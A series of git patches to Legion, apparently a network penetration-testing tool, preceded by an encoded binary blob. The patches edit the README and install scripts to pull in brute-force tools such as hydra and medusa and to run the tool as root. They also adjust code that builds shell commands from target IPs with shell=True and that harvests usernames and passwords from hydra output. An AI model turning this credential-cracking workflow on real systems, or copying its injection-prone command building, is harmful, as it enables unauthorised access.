zVp+!jI&-}<7mf$Zd+gJj-kZGmWbFhfB{W~G>t(d)-Hp83iQGMy-{EfSpQoh>dgtA{ zBPnWPrQH%^Z9mI=>wPCAWF5>rB&T{Je>tpoz?n0Rlm#4T;4|ARUuW7)-|c)74;PVy znV0R`KY#qla*lXX20wgJqTBb8AMm6T_BuSDlbhy+h5tOGk(p>3f`iwxp#f2RW>(hl zvbr|Ik_L*AfnG8g=kwCX$C_bS*?Bu0F6LD6$z@IU--Jdd?_-;hY+36r`zw zvYM#GE#y)l65veRj}S(EnTx-f$~3}|54WvjbN_e{E1wqe@rV!lK^dZe@KZ%;A9jBF%J>UE!~1dOi$ zM-vLp#*+(xCpYX$IrEwX_w?PWMZUGk$ibIHoW~(;2#UIpVXJr-kPaX?kg^`a{5aW* zw+W5Lf9LNRCzJZ&gM4&Ou!0L*Npo{E^W~dk&T-oEaB;)UM=>0$6B}1XrcijO{hx7(g(u{uGyr(bjtyk zVgr$&pRTCDJa>?`Ju|;hayNXl{|vp<*v&^Z4c4hAswgkNjyq>e%vpyiGEItJVrBpy z2cn224e^8+6hleQ#y!)!+xqLFnHfuG${1lrMsM@s*VjB8C{bhh1a^0g(`Zgt+u+h= z>fdInbUE%CCw*eW$EJ~Ef9PENTKG%{OlUq%=#1Lq4^puB?Y1U3am2#xlq{kV$mlGI4-M-Xys;{dfTTQ|H)57HszhX49ubmNtivYDxB0^rh zd2>lQ#awqpmA+)02`^#8_x60WSq)?R|8J*SbhgGVoMNPL;D^oX)q!l*^zBqraUy4P z4@Kjcfj9k&pr(=!1dUc)e#S|Us#a*qP4*HaB_BLt?Q}|N4vvx0KOD6six)rN z_FX~LtJl|0_HrobFJ)G&u3R2huQ<&jLCW!}Pf$?M$&-3FG~v2HG2*dlGl>WXReNRr zVE=bzIHq~`la*V|_uDC$ENN|P-?Ha}f$8OoRr8j^eq=+&_h4ea|vOQnR zax-MjcDBh)SI zWk^^UdTC7FwYIO105B3m|UQ$;e&PKGftRy>hJ_*XZdUyubz=}L>06t zfT75V0Vn5*_I<1DzrUT}C>Jy9;i&P_n{jzZRks)IXvp%l-CH{CkwX^ro)G{VSIQds zaX6j+b>qfPMEFUT2+Xs8n;6-WxUdQpqJ?C*@Pj5rSZ&{Dtkli;62bVLprju=c58gc zqZY#O{1p4GM90_MoT(f(swf8i6sKD2qXyu5aC3`wjWdxWBl$((w8!!+laQ#OfH2QS-@j({$VDq$}aoNC_cF=zaIHvu*x-VK{n7p)^3|(zzIKi+Pi(BKvu>2T zOJ4*5Pkft7#l$dgRLR4reICTV^s^Hab8`H|%p2%!z7`e+MNFu}5zF`fFW_RvbgqVk z=(QXkw@bbKQHz0hI@mYYU9!5euE~adR@hH~X42z`Bt$o$mph&1ZOY&Cqmf(DEvG;1 zLEzXt;OP9FK(-*Q3^3H%Yh%^Q_N2_lO2P?<6*8*O@LxMkP6&gr!vip)MTEAcdf0a3 zPP<;b)j5JRo{W#oZ}*2Yg4-H({3b)Gez;A{c$RjlyneIZYzh!+afYdr+xpB39HoDH zu8D~W7$8s&VO8RaTRrn0hDNm_NrR=u)~%y|dD-zMNW(3P&o76%x!k#9U$zW-Un|0^>I(aADrewcP2<@-CTc_p^0uZ8LX_ z{JGc)(4MPv=E0%pW$r)Z#~aO@Spu#{bH2-JSJu0C(1Trn-XX>prs^rr9M}Bx!_#Q% z=dwd3k_%U_?gJ*En558Tz~IDc+{(k@f?h38`olUTd@<&SUm$|q4vGDX4r_umXE}(v z43fum#R{=r`Q18d8e|uf)zn~n?(@`8z5(i^mx~)r>B_1|hDR}Y3T+EwgEu$w&4S3cKBY{`m1)a22HlUdcw~D@~29B{U>k z%un+AQ3^qb_tqmjlWGwvF*c1mhOm4M;$}Celw-yp=755dUp(BY6}22Z3Kv60B&D_- zz+=V?C>#q)1L`As?1eZSGvf*uU7mag6)<211W{bv4**gCfk{ku=soAW!JqJ#GrG;i zCUNkZw^s7ooI0K*yT4v1Sn171`wB~f4Z_o%qm?c{4l;)m?Eb zm|7VxS+a_mHi}^3LteOGOru9o2@n67tpl7qeWv9s8kK8(KLcd^wZ;6$sk7r&`a87ju=;rn7f2}&ondR)UacMU30yZWu z?-yiI)nbRDCNvG3oF5K(!T%oVwO%LanrcRASy0f_693*Tnk%0 z{`|OJ>Ev2CO6GJ4?XM9@9xHGi^sFv<^^|ATDD?E3^@R(co)b3{EN+|%tUmLlz2D+(aJirF30#y zM!&FKm5QtK;En#x|JTIC&dMqVhpDj2E!`R;rpO*p88>Y-w}Wx^qpL4ozit#Sl~Z)2 zcdfecSin(tWP!&4jHf#p+1c4qWP=Kh!&-gVu)`JuT&6R8-<}_qx}V?V{ZGa|dqfa$ zWot6RSq$d7B_rZ;rf@-!mwaU~A!1;fNlg;;(3B|*v@gzD9M|E?`F3q1>A--S_$1Ev zfe@@59b4#QM>-k#de{BCJI2U+H>2%j^dmdd3)wccq1 z;tC_T)_3G%(t%7=wX_)Ublsm3W!XD{(T1Fp&Wm{!<1o@a5Ahw*|VTE}SJkS{+ zKd^^c4^_p#|5Upi<-h*j^6WA%d+g2(fn|Lym4`uyMi?UDjm>TNs` zqMEB1pogi*B3r2r?Gq=YeP{)sfGaUl@6*5kWKd%G9!txwa2VCw2#`^C?*^hBw70jX zQ?e5*3+WPt{cd+}4F{egEN@#gPR)P%5Mk{JvNHHd>r#=OF(;5VzJ-NvSc9PeP#f6F zTqJ4>0WEm^c!-)>1J}mJiSPQ=`G$G?c`r(dx|*6-nVBen&^>RpNhRVOcXuD4X*0_E z*>6h&tB~QrP=(MSz|>dP_3UW8O6F-3w|N0Kv`x^Bo{W+H!JURS1C#kvubu88y zv{!mT6MQ9(Q#*y+`QiJrte&eXunU_4Y5y5siIkH^XU)!r`Fu{1MDVgPq;;(yQAF^gWjtCU0zbj*)UO~c2gx!ONzuAb<`sZ)ZXca!JTEwd#`{QbApQZ} zG7=x{Ta=^TpG1BIXd)G_3xNwYk9W#D`HPyMWqmEc-`H)Y zzeg7?oh?M3Qv`8Tpyqu=_4X?DQ^sSK81&Y&-gW7r_Aj5M{qIIjHB@%0^f7l+*}ga2 z^)mY!0F$~&OYfLa@Ztsa`**eq{CMA^bC)g!G>qhSASjwK9u}>Rs}BzvAP|rOa1E#d zDR&iMDEZ9QhpL=Zfe%1qMW)-X4M?}RQ+ZLF7otSQy#$AOpku$<3LdKHSk_>8P<|`|1f}8#HfpxCHR7&u&X7Rn9 zMRkO3IeOIKa2~!?({Ulm%seH=l3^k;BNmYh=={oSRO}1=r+B?Ai~70KLc;{_Dj;-f zRq|SLzoz;Ur*IM}{o`Nm?(7LKyO}uQFB)+_zm>Rb9=4)Rq06O;i`paA!Npa7UVUE3 z+!3w)W`u&-01-PQR~y($`^DrJMM!#9*5Bejye|fN0)Z;q*ID1F%`}$+13SbVb5;$e&N~Vhii5YGi!l?IsYfM#e z^<^UFysmS4NiBqq$@LXaN@~kLo|ryF16T>llP&{@2UF?L{f_XPFa~J5%9nj*q=6xq zt;$Dr28Z;j1ae}<-;X@If{ZWH4j}VR`3I4g1YxMOH!bC8ORl69B+HY@{PQ>?=Xu9D>WzT0~wCTzzf-!5bOQv*^HNPfvRGpEpoowbq zcXs))xm0uwR20E5;c6wgA&njfv8x*cjKnxA#lcZ__c%w4I}n-pW(Bb4zp^NQ(1mit z1E%f2M=-&wD%3l0*6Fz|qeC)0d`_Rn!o(gSVIXM)YxC`QR{NiI*kNN#w5NvHdPRF1 z(UAwxpzKEw*t%)c)BIq7vJ+17Jrc6}(=E|{Rg6Ba6(qA}!GfExCLu4HqZj3QRo@xy zxiT^?IiUT@=s5XrEC5mPHoU)=RTF}`m&2%liUpt%DcPKNyREH57OLXSZ1*KcsCv1h z#l;Ed&)`YP+!$0Jaz+S=W=EYs@HN=K5Wb?ke0E#6CCuU9fzwu1Md!Ba@S021FhQon z77o6U77HzjQyIM;N*R7d&8P%zx^}S3^g?6^ii*xCl1VC8E?yjGdRu?V5};Xn%;T;; z3`eyv5W$_NKKn^jK$wbVVdg!#PGhG|ZKm$R3?%pzsfGhbN5-Z~)Ilgh7E*w8l`yY` zLCyLI{9Df>1;wm2kVzdUI1pe^3K0C(Fc^s?LJ?=Ewoi-UsU6TGf^cyteo=>93^Wx< z_|XF3sPPX+{6xs-2Qc)!5FSp`gj7Y7K4M|*H@!^28|gtBK7kkKcyTw6b&bVMoO%*) ze|l@&L>hwvLJfgh3qAoAAd(9jPQBT*^Y6o$a;Mq8d+gFS;u7-~D^?89(svK*puRr! z241A&+3c}oNz{`TS|3_z3g_h-RG%qG637Nfq74n*e!Ax~!AsUe_=nu7roNsNu`1Sj zgrt-TpJ<8hZ9nh|+^$H{vuDrw<4!j%(GR6h$07{90qJC#O}Svj>gMLAUh%m}i*F54 zw$^QZ3`d;wj6++D(rY3$6jJrDas^!aQLABNCQ@?6o{a>^3o`-5f;*XgJQI{+VY z63M3ynZg1IBD?LE9NXtU5?3EYbbRU{Hfl2t;p&6K`zQWlcpJ8PEIWK)8b1Ya091g@ zVm5CW8Y=1NI8jQ%AQ7-^oDhJ5^sC?E+XMSFw3$SBT;+g*L8YouGm-d76vz6vO+6uWFGCwhb4&vi#F}SNmOy zh(Ot4#^(4lZ;>i+8e%px8ZwR{Kde~l?6s>4UhtV;r`x%TIjywuoIIM5mmpbaqg=&| zOj5;hc+gz$V$zI3Mpi_Kh3(SZ)J@KVm`Fb}Q?YMkY5%18_m@X ztv!1_XGbaR9H3GKki$!;T0f0IfNWhb(2O8N&f67|l$p82z~B?uD6l?foIT^g<4xeC z-rsw&l$&v2t~rLCa&pF`#s& ziw7^B1gR7dG?0Dl2-VI8SsY$`Z0am`VEs*8dP_@|R)tc#(`w)=ouR)hHB$W?ea~2B zWl*SHxAeGj&&^*Jjdsw_P%}Hce<_!Q7=?y}YK^&=$TFd0nIuj4lmB7h%_R8U2c==v zo3`AjlyMfSrk*0vT8*UZ*;HV3G}Ut6V!`K+I}cb+q`Nn4PDf$p;>&zK0S0gt6Nex` zKyLwBWNf?}w4vyeF4@k!o3&h9e+25R=W};=7f1E{zWD63lF6Di7QB<6Vb}OxFqWW% z!v4M`OUSAQ;Dx-zl0b)JjnV4oXi;*D*~5E6 z$KbHaJYZ(rXag^nl7yCwCT+2M)v-xStF_KrrR}y1=P>p1ys1Z${{N3yuXyFlvYJ_;_cG z(gsJ4hS2%BSK4pNN3M#JUUb8{xg$PtU;hgVrxbvD%W0c-sM>Rgr$Bo`E9m_!v`iCr zoaJ{^``c(4h*DKAFqq;mODLE$g5!SeTIHutWaGP?BSsPhfV%=gteI0?xnk{7yLqIL zC0^&-Q_`%`TeuL_yM7o+e%Bu_IFk~|_Di!t_x0Sii!)Dyra1O1RZZGv(Cfs@ z*H=r|BT!K>y*+%$khL_rxih9^KlxBTc_ZApmY@Qz(%5OnhpCz-d04l;zzxCoB`h8l zH#68ujZdEwq|7snCnE~%tOQh?@y#C9mf0s8s`LECblPn=nfU&F z6Un7&Y&#~ic!yiZe(r4Ym;*MIx`BfkYiWyqeRDy@JQ3GD1NqS6#VkFhl7IWw9 z4e+A{rBYzFv}e&;tq)N|H6H2KoUqZC`t0!#AIWFDq^Sy`3oEFmCz1Zg6*}`JxgYE` z|E@!au(iO0I~1tveEvo)LPnuIT_96soK?Q*v^#yGsoA z9_A1-0e&BcIk0rP5cM$qwJktCoZ9Yz<2AKJ^TquzqbyQ_p zE0+L{Z>!q9M~{Rx>X^U|#F-BpeA363En(~}rQrkX#&;B-OX8UWr5=1nVBnWep9}=b z`3=Emi(N-T_N!NmiY~}OA7+g{BnFPqo5U8ROB`agYaD6HS1tjw1t?)0b%YJaK-a)- zJsL+{R+zPODnH9K>G$n>J~z+n#wVfC&=XCZG|7`JAT1rBy|0ddsJ!OE0KC4L-tqAA z;$aA4iuphJCj5sOXbnf50;a0ozqe2=8))l3=6l!f&o_w0P##4eS^@h%o; zdB0GUEJv7U^ix&O-ODRYC`E6qQb#|^+vN#?W99 zC{lt3Ux*Ij4ZS&Li$8)2kqNrV)akF57LH{(ckCYy$?FoAohy=T zY0j2+T{wHTSjQ$=wrNs*ZSB_or@M0vt1(^Uc#K04N>o}iDP&AeODaQXCS{@trD2rh zFp^V+R>+}JVx&pCgkqLzo0?paLsSk?MwF!!DN2@8YAEd$iq!tSQD*kFXZGILeA|7I zbuC)G@AE#-eg9AQjCC)!<%xIxDNU1@o*p&gk)n}F8^K&Cju@&`cDHQtHLTk_rRQ4x zGJF({;qsmKD$)VkLBdt@v>K1@vXxgNj0?LK9@sKU*pVZruM1sRZFeIwZCeMe31Ni+ z;R3!#Q@OTc(`iUgI*oDRqIq-Yo?VpPlSYh%tf3*4#{g#e9u2^j)Xjzb;skTAT^lb= zD4kJ$V^5O1-4ef9M*%Q$p$EjOlPbE~OrJ`bLr=Fr3$1n0NM=Qab%E@1WnFQhdHza| zE$W&ijL3zKOSYpTn|pra*f*nyBL;;auIB_Fhvy(@0aXIpZWwCfRF4BB;|D{-7rBv% z(G6O`EaIFT!#+bvHl-Sb5z>@;Z{M+FnX$`74aE+B>LIpNJDaL*pc)Hj`T0s&=)h_W zPTvg7CsU@QYvj;dY8D)NAJsARueSD(vu+fwTyc`tTI}<(Iy48sqGBCvIc28ZWCo{W zb>`-Fol1hQ{it3LDXUkQJG5a_HBUNZ0xyZ2JNWLn_khJrG6S2FH$OT9N1 z{?%0`7^$eF@jUhx%sx_`Xd-)$Tm&e(%2w71O4le0>foj4y5by->FV%Z6=^UdfAp%OX~IJ zN*guwh0~U~ZIf_L8rZv}zyH7ZKz3|~2M)-@st5Wgq^^_NStCbV3Sy=l7^o>L>r-f7 z>zpO-=-K@v$|D2e+O?f#*(4;~xN-84(`0zEhiEA{75k(_^mKSL zrMut+#B9=<^feqH6L=-R@f{`f`tN6&M?wM6zp>~a*R2z#4vk3s`RB&QN-4YX2JlSM zoF-=pWHsTCl$8up3JeM&T;2cr(Zh!yygdqlal(#LitGRc&;Ztu6(R18yo^Q`O!HCQ zI(C;bD_PIH>(?KvP`)+af$@#q-2Lv|yP1zNprf8^5@Xv7n;p_`9c}H@GiL-DLDB9V z3PBP|HF}lICPnH;69r6VT6U=QpLPM8m!BejQIj2ph$Q?2yff(0~ z9WG6hoH##U65NYe7d$zyI0iEsAB!;cLT1%1R?EuCN&ND_ymT+2*4IU+OnI0H5a}y7-&w`2o?VzjvmWi&i^$0=KEUdTTiWdj6DWVA7Yg8Wb8YoWA|9DIVpq ztL|R{E1H&uMF*3xoBnm*$!670vG>A{iN(rH*PhI}^>tDmh4#(ElfHSj zg9F-P#KXbg3+(&b*AknTaPs+v*P06*zgM+Tt_8o2jr`^EWeTSqDnEpT^gZv>&|<4t zXE^YTWOTnnMvMFC52~DXJGZFUlyB@r(Q6*wkMG$iX)wCIDnW+hLokzIL&CWdH?%BW zvYhByYL)VI$s5bX)HRLJ-6burNX8j3AhWD&e_kcdYpBi*^31JLw_7c%>Z5BJiwi*v zAwOx!#LZ2N(F_BKs^2BpOK=xcFO&OV@NsSsp^voPFEB;7&Y%+}?(iJ+@J6oEkp~se zkA*dP+$2I!KqAmDbo+T40Wi$@L>W?ZdaHac4-Zuw+mev;KJ#AQ^cx=jXAoZkU*JN5 z{O^&;n&yYFZmwNdSMD@?y-j3;JW0|a*>;vTz+I1%RD0pGc>O6sdq%_~ zkx%~lC&PZy6_p=Prg?|D7yzYw`7*!m==$a3!7s_qVsi78F;C=jeDTb>N$+xuU&jkn z5luLn>kRU2YBpL}Go}?ffYKHvo#U(EM@Isxn^kWPHw5hp2d*{qZ9a=cZcWDZ7P9zE zm<$5R9_g_I6>~emLmeT+hdQ2i;NYuO)6ydT&RSZQob;l~_la!e+t9#3OUN!Lh`qM| ziR&?I0oI|gr$M5C{|fqHWJc3MclRTQ51+vx>mx=Ny1~ci2OSfd&E@n~C*_-nL_>>1 zCB@mW(#;JhLBCqQfEZwQ`YPw;l#0M+6ymu1NrnK_;{=67v{hzCqFL+I#1TV>lD1@I zYC3D?%r%~#)X8yo(Cz}3oFKr6i%R$t0ITR!iURQ4ba}A=$}#Q&f!fqm)u)ot`j)J8 zHk6+#X&Y!Z7)!0!ysxjZ=vDL*R0LGY0kV}LIwlN89L3H1df3Wa3c}DVl#_yjoYNnFE!<-uKg~7+rUwp!> zx5xf1<6}GCZo8o{{)xIt(59vf=|K<{sieev_OZcCMm5W-^g5oHIMvoRsla>X!s=rM zRy-!~T7bl^mC(XgE-o1t*972TME>(~)_N>y^>^IVt{<7<;^H!A4%=1!{E5TQGOUBe zVzpc05tA+|UpiAW#a$BIO<){Qk~tcL>F2hQ>mzGVmH>((t`Y;4S}dkHe-5lEC6s=SOHJ7 zW8reDl!K3+>xTOVz$qd0`i1FIhK4!C#V-Ll>bKN#4>{Y8lOkGIS5=YGg7KjKL8v(b zJXvduxGXVOz|< zN-y`XJOPmyJhhB;I_Lc?iiQ-i8WL5M8zArqf8UUz*Te)_>?Yd~=YelA01XtHOdm$U zagJA+l4+5_<)`Y0=V;bxj~%AEhGi>jXQp)NEWY?&u`<@&zS*-RaBbWBIot(Lj6ya-r<>t=e) zVYq4~YDbms-4|_BR{!Rn>xwjqNyG4D1Q0~5k-_aG7j!su_t4RNgR!}0pbs`jo+n{q z3Cc(`k)&D>s{T$5DVUcS%pBbXHwn)Oj);Ysj6V4vNFT0Tsf3-BOP(5fkhpo0?B zskdLvp7cKl2QLzn0rK!E)l9~=%tD0{UWIbZR90Y-P!n31&VDxD)YKc|gy#>929R_r z35PS&)3?{r?NT-!3qKhxx^!jt+I zF63VF9)m!39B$MEa0Jsbs+f2MA3&i{5I?U%5sj6FC=SjzWDVKH#gXoUB^IGVOxjL? z#8^3}jl@_PFvx-dvHF%wsGH`xcro4-6o6sb500gMLoLox7 zQ!v|QQ(rYTwf_C5-_aE`if`T&Nl+P);=zmAJ6W7%_-77|c z{g1}hq6M*&(;=s>iEkFAKsR=auiVeP8#J!8yC{mM?G?+x5h)mCBfJ^-GbVaqnaMW* zieMFiYGkenAt#3pt;)L`(i}24&AUfNQ3E=^bak)bAadE&AM3 zZ_|%+5pCYTqypUliAdaKQo+z%8g-N}%I1#oy}m1n>CeIXiAcoo2oCpbQ~SP=B!h2k zTs>jJImS8_#1{J3R4rP6ggXkp$^7dAxgAP_ua(u;Ji`ZHOgBqa`?4ltvwdAi$Ac17 z00Cw{xiVGnbjYTUfIr~Qe*`}_E5pxOjf$O0i*1pItN4iXuh^cPoo#!Ku1R9n*lxm9 zHAbtmOCegxhbbyOV`SI4xkPqqguJ4o1c5WxxKKJT4y!!TeDRdAR6;0q5KVz+_{Jb( zs^7!-(6^kv@}`Icjjajx;7-ZqU4`3hH?VdFM`l(yR@bVyXt@?C#>URTGCeD%r|loSWXc<64J28KB%OUz*x<58aq z+L3GXL$!NQaiV*joK_1;0Y?CyESeM{s?a8f1n3K%+vl8MI{^PL8?C$acEuB13`I6u z0W+RI_w-T4NP@IUvrivD9APju1J(6 z+xW9~Rjw={DaooGVri~oeC0^yczi%cZg+~h!h1jj!d@3{ZM)VDB1)vEz8~J!9Fyv7 z^P9g`@z;`;-!6sMdxei6d#yi?Kh&pKeo0NQbiv#vPIzNe|6XHLEc(a&S}VM1iq$mB JBNp?w{1b1-xf=ig literal 0 HcmV?d00001 From f61e760203f87c9c8138476354ede934d2f483bd Mon Sep 17 00:00:00 2001 From: GitHub Date: Thu, 27 Sep 2018 11:52:30 -0400 Subject: [PATCH 020/450] Update README.md --- README.md | 2 ++ 1 file changed, 2 insertions(+) diff --git a/README.md b/README.md index bc3cad31..0a9fb38b 100644 --- a/README.md +++ b/README.md @@ -11,6 +11,8 @@ legion is written in Python 3, has been ported from PyQt4 to PyQt5, and no longe Tested on Ubuntu, Parrot Security OS, and Windows Subsystem for Linux. +[[https://raw.githubusercontent.com/GoVanguard/legion/master/legion.png|alt=legion]] + ## Installation ``` git clone https://github.com/GoVanguard/legion.git From 84db029a3eb0167c8c37e635b94e15fae14f8efb Mon Sep 17 00:00:00 2001 From: GitHub Date: Thu, 27 Sep 2018 11:52:40 -0400 Subject: [PATCH 021/450] Update README.md --- README.md | 2 -- 1 file changed, 2 deletions(-) diff --git a/README.md b/README.md index 0a9fb38b..bc3cad31 100644 --- a/README.md +++ b/README.md @@ -11,8 +11,6 @@ legion is written in Python 3, has been ported from PyQt4 to PyQt5, and no longe Tested on Ubuntu, Parrot Security OS, and Windows Subsystem for Linux. -[[https://raw.githubusercontent.com/GoVanguard/legion/master/legion.png|alt=legion]] - ## Installation ``` git clone https://github.com/GoVanguard/legion.git From 41ad0d706e4ab342a940cad98c238ac90c0acb13 Mon Sep 17 00:00:00 2001 From: GitHub Date: Thu, 27 Sep 2018 11:53:46 -0400 Subject: [PATCH 022/450] Update README.md --- README.md | 2 ++ 1 file changed, 2 insertions(+) diff --git a/README.md b/README.md index bc3cad31..cee8d08e 100644 --- a/README.md +++ b/README.md @@ -11,6 +11,8 @@ legion is written in Python 3, has been ported from PyQt4 to PyQt5, and no longe Tested on Ubuntu, Parrot Security OS, and Windows Subsystem for Linux. + + ## Installation ``` git clone https://github.com/GoVanguard/legion.git From e31aef01b7d0ed4693bc70c6393d2deb5c0a93c1 Mon Sep 17 00:00:00 2001 From: GitHub Date: Thu, 27 Sep 2018 11:54:00 -0400 Subject: [PATCH 023/450] Update README.md --- README.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/README.md b/README.md index cee8d08e..1517e9a4 100644 --- a/README.md +++ b/README.md @@ -11,7 +11,7 @@ legion is written in Python 3, has been ported from PyQt4 to PyQt5, and no longe Tested on Ubuntu, Parrot Security OS, and Windows Subsystem for Linux. - + ## Installation ``` From a04b28d0051653b9e038f8795afeb79630bb45a1 Mon Sep 17 00:00:00 2001 From: GitHub Date: Thu, 27 Sep 2018 12:16:46 -0400 Subject: [PATCH 024/450] Update README.md --- README.md | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/README.md b/README.md index 1517e9a4..e50d9d7c 100644 --- a/README.md +++ b/README.md @@ -36,9 +36,9 @@ Run startLegion start script to launch legion. You may first have to grant yours chmod +x startLegion.sh ``` -Then run startLegion: +Then run startLegion as root: ``` -./startLegion.sh +sudo ./startLegion.sh ``` Note: Deps will be installed automatically. From 7a991f01fd86f5dee46ea59dbed53d4f1e4a8fdb Mon Sep 17 00:00:00 2001 From: sscottgvit Date: Thu, 27 Sep 2018 11:57:04 -0500 Subject: [PATCH 025/450] Added root prompt --- deps/ubuntu.sh | 2 +- startLegion.sh | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) diff --git a/deps/ubuntu.sh b/deps/ubuntu.sh index 8749f4cf..813771e0 100644 --- a/deps/ubuntu.sh +++ b/deps/ubuntu.sh @@ -4,4 +4,4 @@ apt-get -qq update echo "Installing python dependancies..." apt-get -qq install python3-pyqt5 python3-pyqt4 python3-pyside.qtwebkit python3-sqlalchemy* -y echo "Installing external binaryies and application dependancies..." -apt-get -qq install finger hydra nikto whatweb nbtscan nfs-common rpcbind smbclient sra-toolkit ldap-utils sslscan rwho medusa x11-apps cutycapt leafpad xvfb -y +apt-get -qq install finger hydra nikto whatweb nbtscan nfs-common rpcbind smbclient sra-toolkit ldap-utils sslscan rwho medusa x11-apps cutycapt leafpad xvfb gksu -y diff --git a/startLegion.sh b/startLegion.sh index f66d8ae6..82368ac5 100644 --- a/startLegion.sh +++ b/startLegion.sh @@ -48,4 +48,4 @@ then fi fi -python3 legion.py +gksu python3 legion.py From 2706b07b4ef39aba006c23cc39437b55061c659a Mon Sep 17 00:00:00 2001 From: sscottgvit Date: Thu, 4 Oct 2018 10:46:32 -0500 Subject: [PATCH 026/450] Fix popen issue --- controller/controller.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/controller/controller.py b/controller/controller.py index d7b816cd..47eb4249 100644 --- a/controller/controller.py +++ b/controller/controller.py @@ -364,7 +364,7 @@ def handlePortAction(self, targets, actions, terminalActions, action, restoring) command = str(self.settings.portTerminalActions[srvc_num][2]) command = command.replace('[IP]', ip[0]).replace('[PORT]', ip[1]) ## Future ## timeout = int(self.settings.portTerminalActions[srvc_num][3]) - subprocess.Popen(terminal+" -e 'bash -c \""+command+"; exec bash\"'", shell=True, timeout=5) + subprocess.Popen(terminal+" -e 'bash -c \""+command+"; exec bash\"'", shell=True) return self.handleServiceNameAction(targets, actions, action, restoring) From fc58070372539c1e7f41e174083b77d9d7e824a9 Mon Sep 17 00:00:00 2001 From: sscottgvit Date: Fri, 5 Oct 2018 11:16:37 -0500 Subject: [PATCH 027/450] Fix double click crash --- ui/view.py | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/ui/view.py b/ui/view.py index 537de2da..5e9c42fa 100644 --- a/ui/view.py +++ b/ui/view.py @@ -583,11 +583,11 @@ def tableDoubleClick(self): if tab == 'Services': row = self.ui.ServicesTableView.selectionModel().selectedRows()[len(self.ui.ServicesTableView.selectionModel().selectedRows())-1].row() ## Missing - #ip = self.PortsByServiceTableModel.getIpForRow(row) + ip = self.PortsByServiceTableModel.getIpForRow(row) elif tab == 'Tools': row = self.ui.ToolHostsTableView.selectionModel().selectedRows()[len(self.ui.ToolHostsTableView.selectionModel().selectedRows())-1].row() ## Missing - #ip = self.ToolHostsTableModel.getIpForRow(row) + ip = self.ToolHostsTableModel.getIpForRow(row) else: return From 0ed34b33b91bacef41bb47ea470201126ac9efdc Mon Sep 17 00:00:00 2001 From: sscottgvit Date: Fri, 5 Oct 2018 21:12:27 -0500 Subject: [PATCH 028/450] Steno Loging, Bug fixes --- app/auxiliary.py | 82 +++++++++++------ app/logic.py | 96 ++++++++++---------- app/settings.py | 51 ++++++----- controller/controller.py | 71 ++++++++------- db/database.py | 6 +- legion.conf | 150 +++++++++++++++--------------- legion.py | 11 ++- parsers/Host.py | 28 +++--- parsers/OS.py | 24 ++--- parsers/Parser.py | 48 +++++----- parsers/Script.py | 4 +- parsers/Service.py | 10 +- parsers/Session.py | 14 +-- scripts/snmpbrute.py | 4 +- stenoLogging.py | 191 +++++++++++++++++++++++++++++++++++++++ ui/settingsdialogs.py | 26 +++--- ui/view.py | 32 +++---- 17 files changed, 543 insertions(+), 305 deletions(-) create mode 100644 stenoLogging.py diff --git a/app/auxiliary.py b/app/auxiliary.py index 280346e9..e5b9a370 100644 --- a/app/auxiliary.py +++ b/app/auxiliary.py @@ -11,7 +11,7 @@ You should have received a copy of the GNU General Public License along with this program. If not, see . ''' -import os, sys, urllib, socket, time, datetime, locale, webbrowser, re # for webrequests, screenshot timeouts, timestamps, browser stuff and regex +import os, sys, urllib, socket, locale, webbrowser, re # for webrequests, screenshot timeouts, timestamps, browser stuff and regex from urllib import request from PyQt5 import QtCore, QtWidgets from PyQt5.QtCore import * # for QProcess @@ -21,10 +21,34 @@ import string # for input validation from six import u as unicode import ssl +import asyncio, aioredis, aiohttp, aiomonitor +from datetime import datetime +import hashlib, json +from apscheduler.schedulers.asyncio import AsyncIOScheduler +from stenoLogging import * +from functools import wraps +from time import time +import io + +log = get_logger('legion', path="legion.log") +log.setLevel(logging.INFO) + +def timing(f): + @wraps(f) + def wrap(*args, **kw): + ts = time() + result = f(*args, **kw) + te = time() + tr = te-ts + log.debug('Function:%r args:[%r, %r] took: %2.4f sec' % (f.__name__, args, kw, tr)) + return result + return wrap + # bubble sort algorithm that sorts an array (in place) based on the values in another array # the values in the array must be comparable and in the corresponding positions # used to sort objects by one of their attributes. +@timing def sortArrayWithArray(array, arrayToSort): for i in range(0, len(array) - 1): swap_test = False @@ -80,12 +104,12 @@ def isHttps(ip, port): return True def getTimestamp(human=False): - t = time.time() + t = time() if human: #timestamp = datetime.datetime.fromtimestamp(t).strftime("%d %b %Y %H:%M:%S").decode(locale.getlocale()[1]) - timestamp = datetime.datetime.fromtimestamp(t).strftime("%d %b %Y %H:%M:%S") + timestamp = datetime.fromtimestamp(t).strftime("%d %b %Y %H:%M:%S") else: - timestamp = datetime.datetime.fromtimestamp(t).strftime('%Y%m%d%H%M%S') + timestamp = datetime.fromtimestamp(t).strftime('%Y%m%d%H%M%S') return timestamp # used by the settings dialog when a user cancels and the GUI needs to be reset @@ -100,6 +124,7 @@ def clearLayout(layout): clearLayout(item.layout()) # this function sets a table view's properties +@timing def setTableProperties(table, headersLen, hiddenColumnIndexes = []): table.verticalHeader().setVisible(False) # hide the row headers @@ -128,7 +153,7 @@ def checkHydraResults(output): for line in results: login = re.search('(login:[\s]*)([^\s]+)', line) if login: - print('Found username: ' + login.group(2)) + log.info('Found username: ' + login.group(2)) usernames.append(login.group(2)) password = re.search('(password:[\s]*)([^\s]+)', line) if password: @@ -138,6 +163,7 @@ def checkHydraResults(output): return True, usernames, passwords # returns the lists of found usernames and passwords return False, [], [] +@timing def exportNmapToHTML(filename): try: command = 'xsltproc -o ' + str(filename)+'.html ' + str(filename)+ '.xml' @@ -145,7 +171,7 @@ def exportNmapToHTML(filename): p.wait() except: - print('[-] Could not convert nmap XML to HTML. Try: apt-get install xsltproc') + log.info('[-] Could not convert nmap XML to HTML. Try: apt-get install xsltproc') # this class is used for example to store found usernames/passwords class Wordlist(): @@ -154,7 +180,7 @@ def __init__(self, filename): # needs full self.wordlist = [] with open(filename, 'a+') as f: # open for appending + reading self.wordlist = f.readlines() - print('[+] Wordlist was created/opened: ' + str(filename)) + log.info('[+] Wordlist was created/opened: ' + str(filename)) def setFilename(self, filename): self.filename = filename @@ -163,7 +189,7 @@ def setFilename(self, filename): def add(self, word): with open(self.filename, 'a') as f: if not word+'\n' in self.wordlist: - print('[+] Adding '+word+' to the wordlist..') + log.info('[+] Adding '+word+' to the wordlist..') self.wordlist.append(word+'\n') 